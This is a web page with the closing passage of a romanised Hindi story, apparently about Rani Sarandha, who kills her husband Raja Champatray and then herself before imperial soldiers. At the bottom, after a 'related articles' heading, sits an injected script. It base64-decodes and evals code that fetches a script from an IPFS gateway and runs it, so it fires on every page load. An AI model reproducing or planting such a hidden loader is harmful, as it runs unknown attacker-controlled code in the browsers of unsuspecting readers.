kaisa hriday hai ! vah stri jo apane pati par pran deti thi aj usaki pranaghatika hai ! jis hriday se aliangit hokar usane yauvanasukh loota jo hriday usaki abhilashaoan ka kendr tha jo hriday usake abhiman ka poshak tha usi hriday ko sarandha ki talavar chhed rahi hai. kisi stri ki talavar se aisa kam hua hai

ah ! atmabhiman ka kaisa vishadamay aant hai. udayapur aur marava d ke itihas mean bhi atm-gaurav ki aisi ghatanaean nahian milatian.

badashahi sipahi sarandha ka yah sahas aur dhairy dekhakar dang rah gaye.

saradar ne age badhakar kaha rani sahiba khuda gavah hai ham sab apake gulam haian. apaka jo hukm ho use b-saro-chashm baja layeange.

sarandha ne kaha-agar hamare putroan mean se koee jivit ho to ye donoan lashean use sauanp dena.

yah kah kar usane vahi talavar apane hriday mean chubha li. jab vah achet ho kar dharati par giri to usaka sir raja champataray ki chhati par tha.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>